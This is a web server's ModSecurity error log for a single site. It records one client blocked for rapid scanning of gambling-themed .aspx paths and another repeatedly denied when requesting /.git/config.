[Tue Feb 10 22:14:55.101656 2026] [:error] [pid 59407:tid 59409] [client 79.137.67.84:49858] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYs9X2LlhBXE3qmX-Jk3RAAAAUA"]
[Tue Feb 10 22:14:57.135997 2026] [:error] [pid 47831:tid 47884] [client 79.137.67.84:49864] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYs9YSdxbZYarWVkiACm7QAAAEs"]
[Tue Feb 10 22:14:59.027006 2026] [:error] [pid 47830:tid 47862] [client 79.137.67.84:49872] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYs9Y0co45BZs8e301CcbwAAABA"]
[Tue Feb 10 22:15:01.058521 2026] [:error] [pid 59544:tid 59557] [client 79.137.67.84:60022] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYs9ZaZySR9mFY4BaikM2gAAAYk"]
[Tue Feb 10 22:15:02.939474 2026] [:error] [pid 59544:tid 59553] [client 79.137.67.84:60034] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYs9ZqZySR9mFY4BaikM3gAAAYU"]
[Tue Feb 10 22:15:04.968173 2026] [:error] [pid 47830:tid 47858] [client 79.137.67.84:60042] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYs9aEco45BZs8e301CceQAAAAw"]
[Tue Feb 10 22:15:06.834075 2026] [:error] [pid 7704:tid 7725] [client 79.137.67.84:60048] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYs9av0EcqgVBUs6CW0xAwAAAdI"]
[Tue Feb 10 22:15:08.855368 2026] [:error] [pid 7704:tid 7729] [client 79.137.67.84:60050] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYs9bP0EcqgVBUs6CW0xBwAAAdY"]
[Tue Feb 10 22:15:10.742587 2026] [:error] [pid 47831:tid 47887] [client 79.137.67.84:51068] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYs9bidxbZYarWVkiACm-gAAAE4"]
[Tue Feb 10 22:15:12.630276 2026] [:error] [pid 59407:tid 59413] [client 79.137.67.84:51080] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYs9cGLlhBXE3qmX-Jk3UwAAAUQ"]
[Tue Feb 10 22:15:14.660313 2026] [:error] [pid 47831:tid 47894] [client 79.137.67.84:51092] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYs9cidxbZYarWVkiACnBgAAAFU"]
[Tue Feb 10 22:15:16.535106 2026] [:error] [pid 30054:tid 30076] [client 79.137.67.84:51100] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYs9dGecgOOXCu-GgYVOkAAAARQ"]
[Tue Feb 10 22:15:18.562397 2026] [:error] [pid 47937:tid 47962] [client 79.137.67.84:51104] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYs9dspqXpC2CvJ3fOPLYwAAANc"]
[Tue Feb 10 22:15:20.588917 2026] [:error] [pid 7704:tid 7719] [client 79.137.67.84:43246] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYs9eP0EcqgVBUs6CW0xFQAAAcw"]
[Tue Feb 10 22:15:22.455336 2026] [:error] [pid 59407:tid 59427] [client 79.137.67.84:43248] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aYs9emLlhBXE3qmX-Jk3XAAAAVI"]
[Tue Feb 10 22:15:24.478854 2026] [:error] [pid 47830:tid 47845] [client 79.137.67.84:43264] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aYs9fEco45BZs8e301CchgAAAAA"]
[Tue Feb 10 22:15:26.372094 2026] [:error] [pid 47831:tid 47876] [client 79.137.67.84:43274] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aYs9fidxbZYarWVkiACnCwAAAEM"]
[Tue Feb 10 22:16:02.535158 2026] [:error] [pid 47837:tid 47923] [client 79.137.67.84:43276] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYs9onFY8KYFPX79Z4n_DgAAAJc"]
[Tue Feb 10 22:16:04.516426 2026] [:error] [pid 47830:tid 47859] [client 79.137.67.84:35338] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYs9pEco45BZs8e301CcrgAAAA0"]
[Tue Feb 10 22:16:06.398311 2026] [:error] [pid 47830:tid 47861] [client 79.137.67.84:35344] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYs9pkco45BZs8e301CcsAAAAA8"]
[Tue Feb 10 22:16:08.430647 2026] [:error] [pid 47831:tid 47889] [client 79.137.67.84:35352] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYs9qCdxbZYarWVkiACnQAAAAFA"]
[Tue Feb 10 22:16:10.311733 2026] [:error] [pid 7704:tid 7710] [client 79.137.67.84:50936] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYs9qv0EcqgVBUs6CW0xMwAAAcM"]
[Tue Feb 10 22:16:12.343275 2026] [:error] [pid 47837:tid 47921] [client 79.137.67.84:50952] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYs9rHFY8KYFPX79Z4n_FwAAAJU"]
[Tue Feb 10 22:16:14.219031 2026] [:error] [pid 59407:tid 59425] [client 79.137.67.84:50964] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYs9rmLlhBXE3qmX-Jk3jwAAAVA"]
[Tue Feb 10 22:16:16.094412 2026] [:error] [pid 7704:tid 7713] [client 79.137.67.84:50974] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYs9sP0EcqgVBUs6CW0xOwAAAcY"]
[Tue Feb 10 22:16:18.136331 2026] [:error] [pid 59407:tid 59410] [client 79.137.67.84:50980] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYs9smLlhBXE3qmX-Jk3kQAAAUE"]
[Tue Feb 10 22:16:20.008197 2026] [:error] [pid 47837:tid 47922] [client 79.137.67.84:44324] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYs9tHFY8KYFPX79Z4n_GwAAAJY"]
[Tue Feb 10 22:16:22.044235 2026] [:error] [pid 59407:tid 59429] [client 79.137.67.84:44330] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYs9tmLlhBXE3qmX-Jk3kwAAAVQ"]
[Tue Feb 10 22:16:23.925673 2026] [:error] [pid 47830:tid 47870] [client 79.137.67.84:44332] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYs9t0co45BZs8e301CcxAAAABg"]
[Tue Feb 10 22:16:25.827513 2026] [:error] [pid 47831:tid 47893] [client 79.137.67.84:44334] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYs9uSdxbZYarWVkiACnUwAAAFQ"]
[Tue Feb 10 22:16:27.859100 2026] [:error] [pid 59544:tid 59548] [client 79.137.67.84:44348] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYs9u6ZySR9mFY4BaikNFAAAAYA"]
[Tue Feb 10 22:16:29.901299 2026] [:error] [pid 47937:tid 47949] [client 79.137.67.84:60468] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYs9vcpqXpC2CvJ3fOPLmgAAAMo"]
[Tue Feb 10 22:16:31.930545 2026] [:error] [pid 47937:tid 47954] [client 79.137.67.84:60480] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYs9v8pqXpC2CvJ3fOPLoAAAAM8"]
[Tue Feb 10 22:16:33.816533 2026] [:error] [pid 47831:tid 47879] [client 79.137.67.84:60496] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYs9wSdxbZYarWVkiACnXAAAAEY"]
[Tue Feb 10 22:16:35.845639 2026] [:error] [pid 59407:tid 59424] [client 79.137.67.84:60498] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYs9w2LlhBXE3qmX-Jk3nAAAAU8"]
[Tue Feb 10 22:16:37.884786 2026] [:error] [pid 47830:tid 47866] [client 79.137.67.84:60504] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYs9xUco45BZs8e301Cc0AAAABQ"]
[Tue Feb 10 22:16:39.755411 2026] [:error] [pid 59544:tid 59575] [client 79.137.67.84:41950] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYs9x6ZySR9mFY4BaikNHQAAAZc"]
[Tue Feb 10 22:16:41.639415 2026] [:error] [pid 30054:tid 30075] [client 79.137.67.84:41952] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYs9yWecgOOXCu-GgYVOuwAAARM"]
[Tue Feb 10 22:16:43.678291 2026] [:error] [pid 47837:tid 47910] [client 79.137.67.84:41966] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYs9y3FY8KYFPX79Z4n_NwAAAIo"]
[Tue Feb 10 22:16:45.548790 2026] [:error] [pid 59407:tid 59428] [client 79.137.67.84:41974] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYs9zWLlhBXE3qmX-Jk3qAAAAVM"]
[Tue Feb 10 22:16:47.548668 2026] [:error] [pid 47831:tid 47879] [client 79.137.67.84:41976] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYs9zydxbZYarWVkiACnZgAAAEY"]
[Tue Feb 10 22:16:49.549904 2026] [:error] [pid 47831:tid 47888] [client 79.137.67.84:40950] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYs90SdxbZYarWVkiACnbQAAAE8"]
[Tue Feb 10 22:16:51.570063 2026] [:error] [pid 47837:tid 47915] [client 79.137.67.84:40966] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYs903FY8KYFPX79Z4n_PwAAAI8"]
[Tue Feb 10 22:16:53.573222 2026] [:error] [pid 7704:tid 7727] [client 79.137.67.84:40976] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aYs91f0EcqgVBUs6CW0xVwAAAdQ"]
[Tue Feb 10 22:16:55.582053 2026] [:error] [pid 47937:tid 47949] [client 79.137.67.84:40980] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYs918pqXpC2CvJ3fOPLrQAAAMo"]
[Tue Feb 10 22:16:57.580919 2026] [:error] [pid 47837:tid 47913] [client 79.137.67.84:40982] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYs92XFY8KYFPX79Z4n_RQAAAI0"]
[Tue Feb 10 22:23:19.881182 2026] [:error] [pid 47837:tid 47915] [client 159.203.169.213:59730] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs_V3FY8KYFPX79Z4kANQAAAI8"]
[Tue Feb 10 22:23:32.088598 2026] [:error] [pid 47831:tid 47874] [client 159.203.169.213:56364] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs_ZCdxbZYarWVkiACpwgAAAEE"]
[Tue Feb 10 22:24:19.155314 2026] [:error] [pid 47831:tid 47881] [client 159.203.169.213:56998] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs_kydxbZYarWVkiACqHgAAAEg"]
[Tue Feb 10 22:24:27.869967 2026] [:error] [pid 59407:tid 59416] [client 159.203.169.213:40794] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYs_m2LlhBXE3qmX-Jk5GQAAAUc"]
[Tue Feb 10 22:38:39.544514 2026] [:error] [pid 30054:tid 30079] [client 159.203.169.213:36258] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtC72ecgOOXCu-GgYVS9wAAARc"]
[Tue Feb 10 22:38:44.737524 2026] [:error] [pid 59544:tid 59561] [client 159.203.169.213:39232] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtC9KZySR9mFY4BaikRswAAAY0"]
[Tue Feb 10 22:47:26.467686 2026] [:error] [pid 7704:tid 7715] [client 159.203.169.213:57414] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtE_v0EcqgVBUs6CW03CwAAAcg"]
[Tue Feb 10 22:47:44.224890 2026] [:error] [pid 7704:tid 7721] [client 159.203.169.213:54982] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtFEP0EcqgVBUs6CW03GQAAAc4"]
[Tue Feb 10 23:01:12.840002 2026] [:error] [pid 47837:tid 47921] [client 159.203.169.213:44454] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtIOHFY8KYFPX79Z4kKBAAAAJU"]
[Tue Feb 10 23:01:21.291455 2026] [:error] [pid 47937:tid 47946] [client 159.203.169.213:34504] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtIQcpqXpC2CvJ3fOPWxgAAAMc"]
